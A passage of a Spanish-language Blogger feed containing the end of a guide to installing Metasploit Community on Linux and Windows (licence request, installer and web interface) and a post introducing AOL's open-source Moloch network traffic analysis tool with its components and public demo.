&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eqmT-3XMRDsYen3daWLaKw5nzJwOYImxhZW1LpFyjILNAxmgGsEkmItQmb7Z5aYW2Fr_YBpZmOkORCbJZXbQ5AGyXxgNPa7ce2wBO3hDaGnhfRHvVr99z7yzGl3lwGWxz8bzxvo-HKM/s1600/webui.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-eqmT-3XMRDsYen3daWLaKw5nzJwOYImxhZW1LpFyjILNAxmgGsEkmItQmb7Z5aYW2Fr_YBpZmOkORCbJZXbQ5AGyXxgNPa7ce2wBO3hDaGnhfRHvVr99z7yzGl3lwGWxz8bzxvo-HKM/s1600/webui.png&quot; height=&quot;474&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
En esta nos encontramos con un formulario web en la cual podremos solicitar una licencia de uso a la comunidad. recordemos que metasploit tiene una version pro paga. esta es completamente gratuita soportada por la comunidad de &lt;b&gt;Metasploit.&lt;/b&gt;&lt;br /&gt;
LLenamos el formulario enviamos y recibimos nuestra licencia&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMwK69C0jAol4sXHN_JUqxefbJ8Jywhe1DrWASlCxrF86XCNevAClmW6a_5oHzNf2GNDop4KYVcnh_zSNyh5bzcsE5ordcIpwVJsrM7NG5IEUERI4CUVQXjs2AKw64UHNX2hHZM0bl6x8/s1600/solicitud.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMwK69C0jAol4sXHN_JUqxefbJ8Jywhe1DrWASlCxrF86XCNevAClmW6a_5oHzNf2GNDop4KYVcnh_zSNyh5bzcsE5ordcIpwVJsrM7NG5IEUERI4CUVQXjs2AKw64UHNX2hHZM0bl6x8/s1600/solicitud.png&quot; height=&quot;248&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;INSTALACIÓN DE METASPLOIT EN WINDOWS 64BITS&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Aca tratare de no enfatizar mucho ya que la instalación es similar a la de linux &amp;nbsp;nos toparemos con las mismas ventanas que lo explicado anteriormente algo común para los amantes windows ;)&lt;br /&gt;
&lt;br /&gt;
En el sitio de descarga mencionado anteriormente descargamos la version para sistemas windows con arquitectura de 64bits&lt;br /&gt;
&lt;br /&gt;
Al igual que en los sistemas linux debemos tener desactivado cualquier &lt;b&gt;AV &lt;/b&gt;o &lt;b&gt;Firewall &lt;/b&gt;que se encuentre activo. y seguimos los pasos al igual que sistemas basado en unix.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbbLdbhyFGEWWZ-oxQdu9VT8asFz71051u59dk6LJowsCxy1P0bTIRUvQmcEKu3Kv4P1cT_jsbVTpPhDveY6kP3NzO2YFJD79OJ_1g5FQnbNLeIRi6C1swgPMDpPBuO5ynRFVwicO-mow/s1600/install.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbbLdbhyFGEWWZ-oxQdu9VT8asFz71051u59dk6LJowsCxy1P0bTIRUvQmcEKu3Kv4P1cT_jsbVTpPhDveY6kP3NzO2YFJD79OJ_1g5FQnbNLeIRi6C1swgPMDpPBuO5ynRFVwicO-mow/s1600/install.png&quot; height=&quot;472&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Al igual que en linux entraremos a la interfaz web:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFNypBbWCmFwPuF6c_60Di_jULj8Y2dC6hEHGUFchkJaqq5cLxq5Yj_KWJzA9sGJkeNIoAurg6r425lABDX2Gae3z5e4CmHSTz7ZTVuz0CxUkvSwrjQGhFl-8yOMIOk_ZbUdC6yvRAotU/s1600/webuiwin.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFNypBbWCmFwPuF6c_60Di_jULj8Y2dC6hEHGUFchkJaqq5cLxq5Yj_KWJzA9sGJkeNIoAurg6r425lABDX2Gae3z5e4CmHSTz7ZTVuz0CxUkvSwrjQGhFl-8yOMIOk_ZbUdC6yvRAotU/s1600/webuiwin.png&quot; height=&quot;198&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
el cual igualmente nos llevara al mismo formulario en la url: &lt;b&gt;localhost:3790/users/new&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/6778532361635821942/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/instalacion-de-metasploit-linux-windows.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6778532361635821942'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/6778532361635821942'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/instalacion-de-metasploit-linux-windows.html' title='Instalación de metasploit (Linux-Windows)'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mgRzrLIxllZ-Vx4ejXoKs3Uz7_9BIViJDULuLvAvCbyPqbPCkKqgBVP7qnTZhx6nH6-B6j0jA2Gh1jg5jCJOK1g7uy26NM57rz78_cKxshDkNzRI6Ll8aR_yxjrrsOS9IS8T41CliS4/s72-c/metasploit.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-5894521117062984130</id><published>2014-11-07T12:11:00.000-05:00</published><updated>2014-11-07T12:12:07.718-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="analisis"/><category scheme="http://www.blogger.com/atom/ns#" term="analisis forense"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="moloch"/><category scheme="http://www.blogger.com/atom/ns#" term="networking"/><category scheme="http://www.blogger.com/atom/ns#" term="scanner"/><category scheme="http://www.blogger.com/atom/ns#" term="tool"/><title type='text'>MOLOCH, ESCANNER DE RED VIA WEB DE AOL</title><content type='html'>&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
La empresa AOL ha hecho publica una herramienta de análisis de trafico de red al parecer versátil en modo Open Souce. se trata de &lt;b&gt;Moloch&lt;/b&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px;&quot; /&gt;
&lt;div class=&quot;separator&quot; style=&quot;background-color: white; border: 0px; clear: both; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: center; vertical-align: baseline;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2zeLJ0pkOUImiiHZ5zMFqcRBmgB9mE3HvQufYT_BNqjaWjzYvVblh2Mia4y8X4FjD8V_ePcLfElJi2Y0vVNu7Dsg14qLgizqQ2IhHVDQMrpJnNwYYZXjbv1TPKz8XjSp5i2qSLiU_Ag/s1600/moloch-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px 1em; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB2zeLJ0pkOUImiiHZ5zMFqcRBmgB9mE3HvQufYT_BNqjaWjzYvVblh2Mia4y8X4FjD8V_ePcLfElJi2Y0vVNu7Dsg14qLgizqQ2IhHVDQMrpJnNwYYZXjbv1TPKz8XjSp5i2qSLiU_Ag/s1600/moloch-logo.png&quot; height=&quot;236&quot; style=&quot;border: 0px; margin: 0px;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px;&quot; /&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
Se que a muchos les parecerá una herramienta mas. qué nos aporta frente a otras herramientas como Wireshark?&lt;/div&gt;
&lt;br style=&quot;background-color: white; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px;&quot; /&gt;
&lt;ul style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;Se utiliza y gestiona vía web&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;Está muy enfocado al análisis forense, por lo que hay disponibles plugins muy concretos para dichos menesteres (como por ejemplo, Geolocalización de tramas, reglas de Yara...)&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;Facilidad para la búsqueda e indexado de información dentro de las capturas de red&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;Posibilidad de crear GUIs propias debido a que hay disponible una API para todo el mostrado de información&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;Para el análisis en tiempo real, es posible disponer de una arquitectura distribuida sobre la que mantener sus componentes (bases de datos, indexados, visor de eventos...) y almacenar capturas de tráfico para su posible investigación futura.&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
Sobre los componentes de esta herramienta, tendremos los siguientes:&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;ol style=&quot;border: 0px; font-style: inherit; font-weight: inherit; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;&lt;b&gt;capture&lt;/b&gt;&amp;nbsp;- el elemento (escrito en C) que nos permitirá capturar tráfico directamente desde la fuente por cada interfaz de red de la que nos interese obtener información.&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;&lt;b&gt;viewer&lt;/b&gt;&amp;nbsp;- aplicación en node.js que se ejecuta por cada máquina en red y que mantiene la interfaz web y la transferencia de ficheros PCAP.&lt;/li&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: decimal; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;&lt;b&gt;elasticsearch&lt;/b&gt;&amp;nbsp;- tecnología de base de datos que nos facilitará la tarea de búsqueda de información.&lt;/li&gt;
&lt;/ol&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); font-style: inherit; font-weight: inherit; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;&quot;&gt;&lt;tbody style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); color: #555555; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfEcqoN2q4YdpSUvvrIr96W2BxDgDbwpmOLonYDPeRo4hXD1z-wKF-jVbT0WoPX6usiiyoMvf_f-Ey7w9oCEADBuaifADZIKJoXkHmbzzzSqiGuDS9lZEjCh7eXfHGMWyb6l6qAB7p30/s1600/arch-moloch.png&quot; imageanchor=&quot;1&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOfEcqoN2q4YdpSUvvrIr96W2BxDgDbwpmOLonYDPeRo4hXD1z-wKF-jVbT0WoPX6usiiyoMvf_f-Ey7w9oCEADBuaifADZIKJoXkHmbzzzSqiGuDS9lZEjCh7eXfHGMWyb6l6qAB7p30/s1600/arch-moloch.png&quot; height=&quot;480&quot; style=&quot;border: 0px; margin: 0px;&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); color: #555555; font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;Ejemplo simple de arquitectura para Moloch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;&quot;&gt;&lt;tbody style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq259ctBvdzl5zEMh4bv-n4sokBqHo5xa5BeC7YYpjTtn0kQF4NMACq7AS8oBzAUJdYl_2OEp32cE0t3Bd4DD_iyKM3-xZr7WJirGphSdv1r7VI4uD_RwIIfHrSaNwncB6Bi_v0nw08hk/s1600/moloch-0.8.png&quot; imageanchor=&quot;1&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq259ctBvdzl5zEMh4bv-n4sokBqHo5xa5BeC7YYpjTtn0kQF4NMACq7AS8oBzAUJdYl_2OEp32cE0t3Bd4DD_iyKM3-xZr7WJirGphSdv1r7VI4uD_RwIIfHrSaNwncB6Bi_v0nw08hk/s1600/moloch-0.8.png&quot; height=&quot;444&quot; style=&quot;border: 0px; margin: 0px;&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;Interfaz de la versión 0.8.0 de Moloch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;
Gracias a la interfaz, tendremos diferentes visualizaciones que nos facilitarán la tarea en la investigación, como es el caso del modo &quot;Connections&quot;, el cual mediante un grafo nos visualizará relaciones entre los elementos involucrados, o el visor &quot;SPI View&quot; con el que podemos filtrar la información en base a multitud de criterios y elementos procesados.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;&quot;&gt;&lt;tbody style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlDbMUDbpFjHufVHdkbH2FEHDE10mxcV-qc1mpgwUAWuL5wdekaipeI2tWrSvVkktMHiGGj4fxlV6dgbajjr_FCtuIsoIlMPizCkeSZ6TQVVOPColtjMR6p5ctOP7fyYJ-RGyvxTNHybE/s1600/moloch-connections.png&quot; imageanchor=&quot;1&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlDbMUDbpFjHufVHdkbH2FEHDE10mxcV-qc1mpgwUAWuL5wdekaipeI2tWrSvVkktMHiGGj4fxlV6dgbajjr_FCtuIsoIlMPizCkeSZ6TQVVOPColtjMR6p5ctOP7fyYJ-RGyvxTNHybE/s1600/moloch-connections.png&quot; height=&quot;504&quot; style=&quot;border: 0px; margin: 0px;&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;Visualizador de conexiones según búsqueda realizada en base de datos de tráfico en Moloch&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br style=&quot;background-color: white; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px;&quot; /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;background-color: white; border-collapse: collapse; border-spacing: 0px; border: 1px solid rgb(255, 255, 255); color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin-left: auto; margin-right: auto; margin-top: 10px; outline: 0px; padding: 4px; text-align: center; vertical-align: baseline;&quot;&gt;&lt;tbody style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVbF9aC9D7dDnPRWacFtjkioptB-aNJa3CFI7Fl7ctzK97GA_Tx96c2idu3r4e7gUbN3K0Wx_bqPTyldhZgVXHOsgsVxFT8ASflyQY2MR8niSXCgv3Lv4qmTOXNh51EY5521x_2cvFds4/s1600/moloch-spiviews.png&quot; imageanchor=&quot;1&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px auto; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVbF9aC9D7dDnPRWacFtjkioptB-aNJa3CFI7Fl7ctzK97GA_Tx96c2idu3r4e7gUbN3K0Wx_bqPTyldhZgVXHOsgsVxFT8ASflyQY2MR8niSXCgv3Lv4qmTOXNh51EY5521x_2cvFds4/s1600/moloch-spiviews.png&quot; height=&quot;362&quot; style=&quot;border: 0px; margin: 0px;&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr style=&quot;border: 0px; font-style: inherit; font-weight: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;background: rgb(238, 238, 238); border: 1px solid rgb(255, 255, 255); font-size: 10px; font-style: inherit; margin: 0px; outline: 0px; padding: 0.4em 0.8em; vertical-align: baseline;&quot;&gt;Vista SPI con filtrado e indexado de información almacenada en capturas de tráfico&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;
Sin duda una herramienta a tener en cuenta, que nos permitirá llevar el análisis de tráfico a un nuevo nivel, y nos dará más visibilidad en nuestras tareas diarias en las que necesitemos investigar actividad de red de una manera ágil e intuitiva.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
Si quieres&amp;nbsp;&lt;b&gt;probar la herramienta de manera online a modo de demo&lt;/b&gt;, podrás acceder a la siguiente URL:&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
&lt;ul style=&quot;border: 0px; font-style: inherit; font-weight: inherit; line-height: 19.5px; list-style: none; margin: 0.4em 0px 1em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;
&lt;li style=&quot;border: 0px; font-style: inherit; font-weight: inherit; list-style: disc; margin: 0px 0px 0px 1.6em; outline: 0px; padding: 0px; vertical-align: baseline;&quot;&gt;&lt;b&gt;&lt;a href=&quot;https://moloch.wow.com/&quot; style=&quot;border: 0px; color: #4e6dad; font-style: inherit; font-weight: inherit; margin: 0px; outline: none; padding: 0px; text-decoration: none; vertical-align: baseline;&quot;&gt;https://moloch.wow.com/&lt;/a&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
utilizando&amp;nbsp;&lt;b&gt;moloch/moloch&lt;/b&gt;&amp;nbsp;como credenciales.&lt;/div&gt;
&lt;div style=&quot;background-color: white; border: 0px; color: #555555; font-family: &#39;Helevtica Neue&#39;, Arial, &#39;Century gothic&#39;, sans-serif; font-size: 13px; line-height: 20.7999992370605px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;&quot;&gt;
